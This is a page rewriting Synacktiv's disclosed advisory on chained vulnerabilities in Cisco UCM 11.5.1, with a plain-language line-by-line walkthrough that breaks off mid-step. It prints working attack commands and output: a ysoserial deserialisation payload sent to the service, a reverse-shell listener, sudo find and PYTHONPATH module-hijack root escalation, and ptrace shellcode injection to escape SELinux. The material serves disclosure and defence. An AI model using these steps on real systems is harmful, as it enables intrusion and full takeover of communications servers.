Multiple vulnerabilities in Cisco Unified Communications Manager version 11.5.1
Multiple vulnerabilities in Cisco Unified Communications Manager 11.5.1 include an unauthenticated Java deserialization service that allows remote code execution, permissive sudo rules that let users escalate to root, missing security updates, and weak SELinux policies. An attacker could chain these to gain root and escape the SELinux context, achieving unconstrained access.
Published on synacktiv.com
Vulnerabilities description The Cisco Unified Communications Manager Enterprise unified communications and collaboration Bring people together anytime, anywhere, and on any device with Cisco's integrated collaboration infrastructure for voice and video calling, messaging, and mobility.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Cisco Unified Communications Manager (UCM) is Cisco's enterprise unified communications and collaboration platform, bringing together voice and video calling, messaging and mobility on an integrated infrastructure. The appliance runs a hardened Red Hat based operating system with SELinux enforcing confined contexts for its services.
Synacktiv audited a Cisco UCM instance running version 11.5.1 with the Cisco Unified Communications Manager IM and Presence role. The audit surfaced four distinct issues that, used from an authenticated context, allow an attacker to gain remote code execution, elevate privileges to root and escape the SELinux context:
- Arbitrary Java object deserialisation through an unauthenticated service, leading to remote code execution.
- Permissive sudo rights leading to privilege escalation from multiple users.
- Lack of updates on the underlying system, with public vulnerabilities that can be exploited to elevate privileges.
- Insufficient SELinux policies allowing a confined user to escape its current context.
At the time of writing, version 11.5.1 was affected. The vulnerabilities were not tested on newer major versions of Cisco UCM.
Setup
The audit was performed against a UCM 11.5.1 appliance with the IM and Presence role. The researcher used standard tooling: nmap for service discovery, ysoserial for crafting serialised Java payloads, netcat for listeners and shells, ROPgadget to locate a gadget inside the target's libc, and the Adun ptrace injection tool (i686 branch) with a public 32-bit shellcode. The inject binary was compiled from CentOS 6.10 to match the target's libc and kernel.
No credentials were needed for the first step: the deserialisation service accepted objects without authentication. The later steps were performed from an authenticated context.
Finding it
During the security audit, the researcher noticed that the appliance was exposing a Java Object Serialisation service on the network. An nmap service scan identified it on a dynamic high port:
$ nmap -Pn -sVC --open [redacted]
Nmap scan report for [redacted]
[...]
41160/tcp open java-object syn-ack ttl 61
Java Object Serialization
The service accepts any serialised Java object without requiring any authentication. That alone is a strong signal: a deserialisation endpoint reachable without credentials means the attacker controls the object graph the server will reconstruct, and any gadget chain present on the classpath becomes reachable.
Two operational caveats were noted. Not all audited appliances on version 11.5.1 exposed the affected service, and the auditors could not clearly identify which component was exposing it. The listening TCP port is also dynamic: a new value was observed after a reboot of the device.
Exploitation
Step 1: Unauthenticated deserialisation to code execution
The CommonsBeanutils1 gadget is known to the application and allows executing arbitrary commands. The payload was crafted with ysoserial and piped straight to the service:
$ java -jar ysoserial-all.jar CommonsBeanutils1 /tmp/commands.sh | nc -vv 10.10.10.10 41160
[redacted] 41160 (?) open
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
�� sent 2775, rcvd 4
The /tmp/commands.sh file contains a reverse shell payload. The listener caught the connection:
$ nc -vvnlp 443
listening on [any] 443 ...
connect to [[redacted]] from (UNKNOWN) [[redacted]] 32830
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-4.1$ id
uid=502(tomcat) gid=502(tomcat) groups=502(tomcat),500(sftpuser),501(platform),505(informix),506(ccmbase),509(ccmsyslog),61 1(download)
context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
The shell runs as the tomcat user, confined to the tomcatd_t SELinux context. That context is the starting point for the next three steps.
Step 2: Permissive sudo rights
The sudoers policy on the appliance is large:
# wc -l /etc/sudoers
1028
Among those rules, multiple users are authorised to execute commands that allow direct privilege escalation. The policy for the tomcat user shows the scale of the problem:
$ sudo -l
Matching Defaults entries for tomcat on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+="SSH_TTY SERVM_CONF_DIR TOMCAT_HOME TERM SHELL INFORMIXTMP CATALINA_HOME TOMCAT_CLASSPATH LD_* PATH INSTALL_OLDPASSWORD INSTALL_CONTROL JAVA_HOME INFORMIXDIR DB_LOCALE PYTHONPATH CLASSPATH CATALINA_OPTS INSTALL_USER INSTALL_PASSWORD INSTALL_SALT LAST_DBLENV_PREFIX UC_APIFW_HOME ODBCINI INFORMIXSERVER SR_MGR_CONF_DIR INFORMIXCONTIME ADMIN_PASSWORD FET_BUF_SIZE IFX_LOCK_MODE_WAIT SD_LIB_PATH SR_AGT_CONF_DIR CATALINA_* JAVA_OPTS SNMP_USER SNMP_AUTHPROTO SNMP_AUTHPASS SNMP_PRIVPROTO SNMP_PRIPASS SNMP_ACCESS SNMP_HOST SNMP_HOST1 SNMP_HOST2 PARAM_COUNT UPDATE_USER UPDATE_AUTHPROTO UPDATE_AUTHPASS UPDATE_PRIVPROTO UPDATE_PRIPASS UPDATE_ACCESS UPDATE_HOST UPDATE_HOST1 UPDATE_HOST2 UPDATE_PARAM_COUNT WGET_CMD WGET_USER WGET_AUTHPROTO WGET_AUTHPASS WGET_PRIVPROTO WGET_PRIPASS WGET_IP WGET_OBJID ILOG_* TAOS_PASSWORD deployment* hardware* ipd* is* prod*"
User tomcat may run the following commands on this host:
(sftpuser) NOPASSWD: /usr/bin/sftp ?*,
(sftpuser) /home/sftpuser/sftp_knownhosts.exp,
(sftpuser) /home/sftpuser/sftp_password.exp
(root) NOPASSWD: /root/.security/ssh_PK_setup.sh
(root) NOPASSWD: /root/.security/update_user_pwd.exp
(xcpuser) NOPASSWD: /usr/local/xcp/bin/verifyExternalFileServerConnectivity.sh
(xcpuser) NOPASSWD: /bin/df *
(root) NOPASSWD: /usr/local/bin/base_scripts/reboot.sh
(root) NOPASSWD: /usr/local/bin/base_scripts/grub_swap.sh
[...]
(root) NOPASSWD: /bin/dd
(root) NOPASSWD: /usr/bin/find
Many of the allowed commands can be abused to execute other commands, as catalogued on GTFOBins. Here the find command was used to elevate privileges:
$ sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
The shell is now root, though still confined to tomcatd_t.
The env_keep list is a second problem: multiple environment variables are preserved across sudo, which can alter the execution of commands that rely on them. PYTHONPATH is among them, and many Python scripts appear in the sudoers policy:
# egrep -c '\.py$' /etc/sudoers
75
The xcpuser is allowed to run /usr/local/cm/bin/getdbname.py, which imports the re module. Because PYTHONPATH is preserved, the interpreter's package search path can be redirected and the legitimate re package replaced with arbitrary code:
$ cat re.py
import os
def compile(s):
print('Running shell')
os.system('/bin/sh')
$ export PYTHONPATH=$PWD
$ sudo /usr/local/cm/bin/getdbname.py
Inside getdbnameFromodbc...
Running shell
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:unconfined_t:s0s0:c0.c1023
This second path is notable because it lands in the unconfined_t context, not tomcatd_t.
Step 3: Missing security updates
The underlying operating system is Red Hat Enterprise Linux 6.10, which is no longer maintained:
# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 6.10 (Santiago)
# uname -a
Linux voip-presence-sub01 2.6.32-754.36.1.el6.x86_64 #1 SMP Sat Nov 21 11:02:27 EST 2020 x86_64 x86_64 x86_64 GNU/Linux
Multiple public vulnerabilities affect packages on this system. For example, pkexec is present and setuid root:
# pkexec --version
pkexec version 0.96
# ls -l $(which pkexec)
-rwsr-xr-x. 1 root root 22544 Feb
2019 /usr/bin/pkexec
This version is affected by CVE-2021-4034. The sudo version is also vulnerable to CVE-2021-3156:
# sudo -V
Sudo version 1.8.6p3
[...]
Exploiting either of these would elevate privileges to root from any user.
Step 4: SELinux context escape
The appliance relies on SELinux to keep critical processes and files protected, even from root. However, two running processes were found unconfined:
# ps auxwwwfZ | grep unconfined
system_u:system_r:unconfined_t:s0-s0:c0.c1023 ccmbase 13673 0.0 0.3 45316 12100 ? Sl 15:00 0:00 \_ /usr/local/sip/bin/EspLogger
system_u:system_r:unconfined_t:s0-s0:c0.c1023 xcpuser 7420 0.6 3.3 263224 132476 ? Ssl 10:28 2:06 /usr/local/xcp/bin/jabberd -P /usr/local/xcp/var/run/jabberd/jabberd.pid -c /usr/local/xcp/etc/jabber.xml -B
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
With the privileges already gained, the ptrace syscall can be used to:
- Attach to one of the unconfined processes.
- Fork the process and leave the parent untouched to avoid any service disruption.
- Inject shellcode into the created child that will create a reverse shell.
- Elevate privileges to root using a public exploit or by abusing permissive sudo rights.
The jabberd process was targeted with the Adun tool (i686 branch) and a public 32-bit shellcode. Before compiling, the exploit requires the address of an int 0x80 instruction in an executable area. The libc of the process was used for this gadget, and its address can be retrieved from /proc/PID/maps. The relative address of the instruction inside libc was recovered with ROPGadget:
$ ROPgadget --binary libc.so.6 | grep 'int 0x80'
[...]
0x0002a855 : int 0x80
This gadget address, combined with the libc base address in the target process, is set at line 172 of the inject.c file:
void *ret =
(void *)0x2a855 + 0xff1000;
The targeted process is 32 bits, so the inject binary must be compiled accordingly. The compilation was performed from CentOS 6.10 to ensure libc and kernel compatibility:
$ gcc inject.c utils.h -m32 -std=c99 -o inject
The exploitation uses two shells. The first is obtained through the first vulnerability and the permissive sudo rights:
# ./inject -p 7420
[...]
[+] attaching to proccess ( id: 7420 )
[+] allocating memory
[+] [0xc0] syscall ret: 0x435000
[+] mem_addr: 0x435000
[+] [0xc0] syscall ret: 0x559000
[+] stack_addr: 0x559000
[+] copying shellcode ( 80 bytes )
[+] setting up child's stack
[+] starting new process
[+] [0x78] syscall ret: 0x4271
[+] ret_pid: 17009
[+] running shellcode
[+] detaching
[+] done
The second shell is unprivileged and was also obtained through the first vulnerability:
$ nc -vl 1337
Connection from [redacted] port 1337 [tcp/menandmice-dns] accepted
id
uid=900(xcpuser) gid=506(ccmbase) groups=506(ccmbase),497(fuse),501(platform),502(tomcat),505(informix)
context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
As described in the sudo section, xcpuser can run a Python script with a controlled PYTHONPATH, leading to unconfined root privileges:
$ export PYTHONPATH=$PWD
$ sudo /usr/local/cm/bin/getdbname.py
Inside getdbnameFromodbc...
Running shell
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:unconfined_t:s0s0:c0.c1023
Root cause
The chain rests on four independent weaknesses:
- Unauthenticated deserialisation. A Java Object Serialisation service accepted any serialised object without authentication. Because the CommonsBeanutils1 gadget was known by the application, attacker-controlled object graphs could execute commands. The component exposing the service was not clearly identified, and the port is dynamic, which makes the exposure harder to inventory.
- Overly broad sudo policy. A 1028-line sudoers file grants NOPASSWD execution of commands such as
findandddthat can spawn shells, and preserves environment variables such asPYTHONPATHthat influence how privileged scripts resolve imports. - Unpatched base system. RHEL 6.10 is end of life, leaving setuid
pkexec(CVE-2021-4034) andsudo1.8.6p3 (CVE-2021-3156) exploitable for local privilege escalation. - Incomplete SELinux confinement. SELinux is meant to contain root, but two processes (
EspLoggerandjabberd) run inunconfined_t.ptraceagainst them lets a confined root inject code into an unconfined context.
Impact
Using the identified vulnerabilities from an authenticated context, it was possible to gain remote code execution, elevate privileges to root, and then escape the SELinux context to get unconstrained access on the Cisco UCM appliance. The first vulnerability is reachable without authentication where the service is exposed; the later steps assume a shell on the appliance. The exposure of the deserialisation service was not universal across audited 11.5.1 appliances, and the port changes after a reboot, so reachability depends on the deployment.
Fix
Cisco's timeline records the following:
| Date | Action |
|---|---|
| 2022/11/18 | Advisory sent to Cisco PSIRT. Cisco acknowledges the report and says the second and third findings are already known. |
| 2022/12/22 | Cisco could reproduce the first vulnerability. |
| 2023/06/28 | Cisco says the first vulnerability has been fixed in CUCM products (version 14SU3 and 12.5(1)SU8) but investigates the issue on other products. The fourth vulnerability has not been fixed yet. |
| 2023/12/12 | Cisco states that all issues will be fixed in CUCM release 15. |
| 2024/01/24 | Release of this advisory and the Cisco ones. CVE-2024-20253 assigned to the first vulnerability. |
Variants to test
- Scan for
java-objectservices on UCM appliances. A positive result is an open high port identified bynmap -sVCas Java Object Serialisation that accepts a ysoserial payload without credentials. Remember the port is dynamic and may change after a reboot. - Enumerate sudo rights for every service account. Run
sudo -las each account reached after initial access. A positive result is any NOPASSWD rule for a GTFOBins-listed binary such asfind,ddor an interpreter. - Check
env_keepfor interpreter-affecting variables. Look forPYTHONPATH,LD_*,CLASSPATHorJAVA_OPTSin the sudoers defaults alongside privileged scripts. A positive result is a privileged script that imports a module you can shadow from a writable directory. - Fingerprint the base OS and setuid binaries. Check
/etc/redhat-release,uname -a,pkexec --versionandsudo -V. A positive result is an end-of-life release with setuidpkexecor a sudo version affected by CVE-2021-3156. - List unconfined processes. Run
ps auxwwwfZ | grep unconfinedfrom a confined root shell. A positive result is a long-running service inunconfined_tthat can beptraced, ideally one whose disruption would be avoided by forking before injection.
What happened, in plain words
Cisco Unified Communications Manager (UCM) is a big piece of software that companies use to run their phone calls, video meetings, chat and mobile messaging all from one system. Think of it as the telephone exchange for a whole company, but modernised: instead of a person plugging cables into a switchboard, a server appliance does the routing. An appliance here means a machine (often a physical box, sometimes a virtual one) that ships with its own operating system and software already installed and locked down.
A security company called Synacktiv looked at one of these appliances running version 11.5.1, with a particular feature switched on called the IM and Presence role. "IM and Presence" is the part that handles instant messaging and lets colleagues see whether each other are online. During that review they found four separate problems. Put together, they let someone with a shell on the appliance end up as the all-powerful administrator (the "root" user) of the machine, with no restrictions left.
The four problems were:
- A network service that accepted data from anyone, without asking for a password, and then rebuilt that data in a way that could run commands on the machine. This is called insecure deserialisation, and it can lead to remote code execution (running your own commands on someone else's computer over the network).
- A set of rules (called sudo rules) that let ordinary accounts run powerful commands, sometimes without even typing a password. This is privilege escalation: going from a low-powered account to a high-powered one.
- An old, unpatched operating system underneath, with publicly known bugs that anyone can look up and use.
- A security feature called SELinux that was supposed to keep even the root user boxed in, but had gaps that let a user climb out of the box.
At the time the report was written, version 11.5.1 was affected. The team did not test newer major versions of Cisco UCM.
The four issues, one by one
Before diving into the steps, here is the full list as Synacktiv described it:
- Arbitrary Java object deserialisation through an unauthenticated service that can lead to remote code execution.
- Permissive sudo rights leading to privilege escalation from multiple users.
- Lack of updates on the underlying system. Multiple vulnerabilities can be exploited to elevate privileges.
- Insufficient SELinux policies allowing a confined user to escape its current context.
Using these from an authenticated context (that is, once you already have some kind of login or shell on the box), it was possible to gain remote code execution, elevate privileges to root, and then escape the SELinux context to get unconstrained access on the appliance.
Setting the scene: what tools were used and why
The audit was done against a UCM 11.5.1 appliance with the IM and Presence role. The researcher used a handful of standard tools, each with a clear job:
nmap: a network scanner. It knocks on ports (numbered doors on a computer, where services listen) and reports what is answering. Used here to find the exposed service.ysoserial: a tool that builds malicious Java objects. Used to craft the payload for the first bug.netcat(often shortened tonc): a general-purpose network tool. Used both to send the payload and to catch the incoming shell connection.ROPgadget: a tool that searches inside a program's library file for small useful instruction sequences. Used in the last step.- Adun (i686 branch): a tool that injects code into a running process using a system call called
ptrace. Used in the last step. - A public 32-bit shellcode: a tiny piece of machine code that opens a shell. Used in the last step.
The inject binary (the compiled Adun tool) was compiled from CentOS 6.10, a Linux distribution, so that the libraries and kernel it was built against matched the target's. This matters because low-level code injection is very sensitive to exact versions.
No credentials were needed for the first step: the deserialisation service accepted objects without authentication. The later steps were performed from an authenticated context.
Finding it
During the audit, the researcher noticed the appliance was exposing a Java Object Serialisation service on the network. To understand that phrase: Java is a programming language, and "serialisation" is the process of turning a live object in memory into a stream of bytes so it can be sent over a network or saved to disk. "Deserialisation" is the reverse: taking those bytes and rebuilding the object. If an attacker controls the bytes, they control what gets rebuilt, and some objects, when rebuilt, do things like run commands. That is the whole idea behind this class of bug.
An nmap service scan found the service on a high, dynamically chosen port:
$ nmap -Pn -sVC --open [redacted]
Nmap scan report for [redacted]
[...]
41160/tcp open java-object syn-ack ttl 61
Java Object Serialization
Line by line:
nmap -Pn -sVC --open [redacted]runs nmap against the address[redacted].-Pntells nmap not to bother with a preliminary ping check (some hosts ignore pings).-sVasks nmap to identify the service and its version.-Casks it to run its default set of extra checks.--openmeans only show ports that are actually open.Nmap scan report for [redacted]is the header line.[...]stands for output the report trimmed out.41160/tcp open java-object syn-ack ttl 61says port 41160 over TCP is open, and nmap recognised the service asjava-object.Java Object Serializationis the human-readable name nmap gave it.
The service accepts any serialised Java object without requiring any authentication. That is a strong signal: a deserialisation endpoint reachable without credentials means the attacker controls the object graph the server will rebuild, and any gadget chain present on the classpath becomes reachable. A "gadget chain" is a sequence of existing classes in the application that, when assembled in a particular order, ends up doing something dangerous. The "classpath" is simply the list of places Java looks for those classes.
Two practical caveats were noted. Not all audited appliances on version 11.5.1 exposed the affected service, and the auditors could not clearly identify which component was exposing it. The listening TCP port is also dynamic: a new value was observed after a reboot of the device. In other words, you cannot assume every UCM box has this door open, and you cannot assume the door number stays the same.
Step 1: From no password to running commands
The CommonsBeanutils1 gadget is known to the application and allows executing arbitrary commands. The payload was crafted with ysoserial and piped straight to the service:
$ java -jar ysoserial-all.jar CommonsBeanutils1 /tmp/commands.sh | nc -vv 10.10.10.10 41160
[redacted] 41160 (?) open
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
�� sent 2775, rcvd 4
Line by line:
java -jar ysoserial-all.jar CommonsBeanutils1 /tmp/commands.shruns ysoserial.-jartells Java to run the program inside the jar file.CommonsBeanutils1is the name of the gadget chain to build./tmp/commands.shis the file whose contents should be executed when the object is deserialised on the target.- The
|(pipe) takes the bytes ysoserial produced and feeds them into the next command. nc -vv 10.10.10.10 41160opens a TCP connection to the target on port 41160.-vvmeans very verbose, so we see connection details.[redacted] 41160 (?) openis netcat confirming the connection is open.Picked up _JAVA_OPTIONS: ...is a harmless message from the local Java runtime.�� sent 2775, rcvd 4shows the binary bytes sent (2775 of them) and the few bytes received back. The odd characters are just binary data being printed to a text terminal.
The /tmp/commands.sh file contains a reverse shell payload. A reverse shell is a program that, instead of waiting for you to connect in, reaches out to your machine and hands you a command prompt. It is popular because firewalls often allow outbound connections more readily than inbound ones. The listener caught the connection:
$ nc -vvnlp 443
listening on [any] 443 ...
connect to [[redacted]] from (UNKNOWN) [[redacted]] 32830
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-4.1$ id
uid=502(tomcat) gid=502(tomcat) groups=502(tomcat),500(sftpuser),501(platform),505(informix),506(ccmbase),509(ccmsyslog),61 1(download)
context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
Line by line:
nc -vvnlp 443starts netcat in listening mode.-vverbose,-nnumeric only (no DNS lookups),-llisten,-p 443on port 443.listening on [any] 443 ...confirms it is waiting.connect to [[redacted]] from (UNKNOWN) [[redacted]] 32830shows the target connecting back to the listener's address, from its own address and a random source port.bash: no job control in this shellandbash: /root/.bashrc: Permission deniedare normal warnings when a shell is started in an unusual way and cannot read the root user's startup file.bash-4.1$ idruns theidcommand, which prints who you are.uid=502(tomcat) gid=502(tomcat) groups=...says the shell is running as thetomcatuser, with a list of supplementary groups.context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023is the SELinux label. SELinux is a Linux security layer that tags every process and file with a label and enforces rules about what each label may do. Here the shell is confined to thetomcatd_tcontext, which is the starting point for the next three steps.
Step 2: Permissive sudo rights
sudo is the standard Linux tool that lets a normal user run a command as another user, usually root, according to a policy file. The policy file on this appliance is large:
# wc -l /etc/sudoers
1028
Line by line:
wc -l /etc/sudoerscounts the lines in the sudoers policy file.wcis "word count", and-lmeans lines.1028is the result: over a thousand lines of rules.
Among those rules, multiple users are authorised to execute commands that allow direct privilege escalation. The policy for the tomcat user shows the scale of the problem:
$ sudo -l
Matching Defaults entries for tomcat on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+="SSH_TTY SERVM_CONF_DIR TOMCAT_HOME TERM SHELL INFORMIXTMP CATALINA_HOME TOMCAT_CLASSPATH LD_* PATH INSTALL_OLDPASSWORD INSTALL_CONTROL JAVA_HOME INFORMIXDIR DB_LOCALE PYTHONPATH CLASSPATH CATALINA_OPTS INSTALL_USER INSTALL_PASSWORD INSTALL_SALT LAST_DBLENV_PREFIX UC_APIFW_HOME ODBCINI INFORMIXSERVER SR_MGR_CONF_DIR INFORMIXCONTIME ADMIN_PASSWORD FET_BUF_SIZE IFX_LOCK_MODE_WAIT SD_LIB_PATH SR_AGT_CONF_DIR CATALINA_* JAVA_OPTS SNMP_USER SNMP_AUTHPROTO SNMP_AUTHPASS SNMP_PRIVPROTO SNMP_PRIPASS SNMP_ACCESS SNMP_HOST SNMP_HOST1 SNMP_HOST2 PARAM_COUNT UPDATE_USER UPDATE_AUTHPROTO UPDATE_AUTHPASS UPDATE_PRIVPROTO UPDATE_PRIPASS UPDATE_ACCESS UPDATE_HOST UPDATE_HOST1 UPDATE_HOST2 UPDATE_PARAM_COUNT WGET_CMD WGET_USER WGET_AUTHPROTO WGET_AUTHPASS WGET_PRIVPROTO WGET_PRIPASS WGET_IP WGET_OBJID ILOG_* TAOS_PASSWORD deployment* hardware* ipd* is* prod*"
User tomcat may run the following commands on this host:
(sftpuser) NOPASSWD: /usr/bin/sftp ?*,
(sftpuser) /home/sftpuser/sftp_knownhosts.exp,
(sftpuser) /home/sftpuser/sftp_password.exp
(root) NOPASSWD: /root/.security/ssh_PK_setup.sh
(root) NOPASSWD: /root/.security/update_user_pwd.exp
(xcpuser) NOPASSWD: /usr/local/xcp/bin/verifyExternalFileServerConnectivity.sh
(xcpuser) NOPASSWD: /bin/df *
(root) NOPASSWD: /usr/local/bin/base_scripts/reboot.sh
(root) NOPASSWD: /usr/local/bin/base_scripts/grub_swap.sh
[...]
(root) NOPASSWD: /bin/dd
(root) NOPASSWD: /usr/bin/find
Line by line:
sudo -llists what the current user is allowed to run via sudo.Matching Defaults entries for tomcat on this host:introduces the global settings that apply to this user.env_resetmeans sudo normally wipes most environment variables before running a command. Environment variables are named values that programs read to change their behaviour (for example, where to look for files).env_keep="..."lists variables that are not wiped, i.e. that survive into the privileged command. This list is long, and it includesPYTHONPATH,LD_*,CLASSPATHandJAVA_OPTS. Remember those names; they matter later.User tomcat may run the following commands on this host:starts the actual permission list.- Each following line has the shape
(target-user) NOPASSWD: /path/to/command.(root)means the command runs as root.NOPASSWD:means no password is asked. The path is the exact program allowed. - For example,
(root) NOPASSWD: /usr/bin/findletstomcatrun thefindprogram as root without a password.
Many of the allowed commands can be abused to execute other commands, as catalogued on GTFOBins. GTFOBins is a public website that lists, for each common Linux program, ways to misuse it to run arbitrary commands. Here the find command was used to elevate privileges:
$ sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
Line by line:
sudo find . -exec /bin/sh \; -quitrunsfindas root.find .searches the current directory.-exec /bin/sh \;tells find to run/bin/sh(a shell) for each match.-quitstops after the first match. The result is a root shell.# idrunsidin that new shell. The#prompt is the conventional sign you are root.uid=0(root) gid=0(root) groups=0(root)confirms root.context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023shows the shell is still confined totomcatd_t. Root, but boxed in.
The env_keep list is a second problem: multiple environment variables are preserved across sudo, which can alter the execution of commands that rely on them. PYTHONPATH is among them, and many Python scripts appear in the sudoers policy:
# egrep -c '\.py$' /etc/sudoers
75
Line by line:
egrep -c '\.py$' /etc/sudoerssearches the sudoers file for lines ending in.py(a Python script) and counts them.-cmeans count. The$anchors the match to the end of the line.75is the number of such lines.
The xcpuser is allowed to run /usr/local/cm/bin/getdbname.py, which imports the re module. re is Python's built-in regular-expression module, and import is how a Python program pulls in code from elsewhere. Because PYTHONPATH is preserved, the interpreter's package search path can be redirected and the legitimate re package replaced with arbitrary code:
$ cat re.py
import os
def compile(s):
print('Running shell')
os.system('/bin/sh')
$ export PYTHONPATH=$PWD
$ sudo /usr/local/cm/bin/getdbname.py
Inside getdbnameFromodbc...
Running shell
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:unconfined_t:s0s0:c0.c1023
Line by line:
cat re.pyprints the contents of a file the attacker created, namedre.pyto impersonate the real module.import osloads Python's operating-system module, which can run commands.def compile(s):defines a function calledcompile, matching the name the realremodule exposes, so the target script will call it.print('Running shell')prints a message so the attacker can see it worked.os.system('/bin/sh')runs a shell.export PYTHONPATH=$PWDsets thePYTHONPATHvariable to the current directory ($PWD), so Python will look there first for modules.sudo /usr/local/cm/bin/getdbname.pyruns the allowed script as root. BecausePYTHONPATHsurvived sudo, Python finds the fakere.pyfirst.Inside getdbnameFromodbc...is the script's own output.Running shellis the fake module's output.# idrunsidin the resulting shell.uid=0(root) ...confirms root.context=system_u:system_r:unconfined_t:s0s0:c0.c1023shows the shell is now in theunconfined_tcontext, nottomcatd_t. That is a big deal: it means SELinux is no longer restricting this process.
This second path is notable because it lands in the unconfined_t context, not tomcatd_t.
Step 3: Missing security updates
The underlying operating system is Red Hat Enterprise Linux 6.10, which is no longer maintained:
# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 6.10 (Santiago)
# uname -a
Linux voip-presence-sub01 2.6.32-754.36.1.el6.x86_64 #1 SMP Sat Nov 21 11:02:27 EST 2020 x86_64 x86_64 x86_64 GNU/Linux
Line by line:
cat /etc/redhat-releaseprints the contents of a file that records the OS release.Red Hat Enterprise Linux Server release 6.10 (Santiago)is the answer: RHEL 6.10, codenamed Santiago.uname -aprints detailed kernel and system information.Linux voip-presence-sub01 2.6.32-754.36.1.el6.x86_64 ...shows the hostname, kernel version, build date and architecture. The kernel is 2.6.32, an old series.
Multiple public vulnerabilities affect packages on this system. For example, pkexec is present and setuid root:
# pkexec --version
pkexec version 0.96
# ls -l $(which pkexec)
-rwsr-xr-x. 1 root root 22544 Feb
2019 /usr/bin/pkexec
Line by line:
pkexec --versionasks thepkexecprogram for its version.pkexecis a helper that runs a command as another user, similar in spirit to sudo.pkexec version 0.96is the answer.ls -l $(which pkexec)lists the file details for whereverpkexeclives.$(which pkexec)runswhichto find the path first.-rwsr-xr-x. 1 root root 22544 Feb 2019 /usr/bin/pkexecshows the file's permissions. Thesin the owner's execute slot means "setuid": when anyone runs this file, it runs with the file owner's privileges, here root. That is a deliberate design for programs that need to do privileged things, but it makes any bug in them very valuable to an attacker.
This version is affected by CVE-2021-4034. A CVE is a public identifier for a known vulnerability, so anyone can look up details. The sudo version is also vulnerable to CVE-2021-3156:
# sudo -V
Sudo version 1.8.6p3
[...]
Line by line:
sudo -Vprints the sudo version and build details.Sudo version 1.8.6p3is the version.[...]is trimmed output.
Exploiting either of these would elevate privileges to root from any user.
Step 4: SELinux context escape
The appliance relies on SELinux to keep critical processes and files protected, even from root. SELinux is the Linux security module that labels processes and files and enforces rules about what each label may touch. However, two running processes were found unconfined:
# ps auxwwwfZ | grep unconfined
system_u:system_r:unconfined_t:s0-s0:c0.c1023 ccmbase 13673 0.0 0.3 45316 12100 ? Sl 15:00 0:00 \_ /usr/local/sip/bin/EspLogger
system_u:system_r:unconfined_t:s0-s0:c0.c1023 xcpuser 7420 0.6 3.3 263224 132476 ? Ssl 10:28 2:06 /usr/local/xcp/bin/jabberd -P /usr/local/xcp/var/run/jabberd/jabberd.pid -c /usr/local/xcp/etc/jabber.xml -B
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
Line by line:
ps auxwwwfZ | grep unconfinedlists all running processes with their SELinux labels (Zadds the label) and filters for the wordunconfined.- The first result line shows a process owned by
ccmbaserunning/usr/local/sip/bin/EspLogger, labelledunconfined_t. - The second result line shows a process owned by
xcpuserrunning/usr/local/xcp/bin/jabberd, also labelledunconfined_t. # idrunsidin the current shell.uid=0(root) ...confirms root.context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023shows the current shell is still confined totomcatd_t. So we are root but boxed in, and there are two processes outside the box.
With the privileges already gained, the ptrace syscall can be used to:
- Attach to one of the unconfined processes.
- Fork the process and leave the parent untouched to avoid any service disruption.
- Inject shellcode into the created child that will create a reverse shell.
- Elevate privileges to root using a public exploit or by abusing permissive sudo rights.
A syscall is a request a program makes to the operating system kernel. ptrace is a syscall that lets one process inspect and control another, normally used by debuggers. "Fork" means to duplicate a process: the original (parent) keeps running, and the copy (child) can be messed with. Shellcode is a small piece of raw machine code, usually written to open a shell.
The jabberd process was targeted with the Adun tool (i686 branch) and a public 32-bit shellcode. Before compiling, the exploit requires the address of an int 0x80 instruction in an executable area. int 0x80 is the classic way a 32-bit Linux program asks the kernel to do something. The libc of the process was used for this gadget, and its address can be retrieved from /proc/PID/maps. libc is the standard C library that nearly every Linux program uses. /proc/PID/maps is a file the kernel exposes for each process, listing where its memory is mapped. The relative address of the instruction inside libc was recovered with ROPGadget:
$ ROPgadget --binary libc.so.6 | grep 'int 0x80'
[...]
0x0002a855 : int 0x80
Line by line:
ROPgadget --binary libc.so.6scans the libc file for useful instruction sequences.| grep 'int 0x80'filters the output for theint 0x80instruction.[...]is trimmed output.0x0002a855 : int 0x80says the instruction sits at offset0x2a855inside libc.0xis the prefix for hexadecimal numbers.
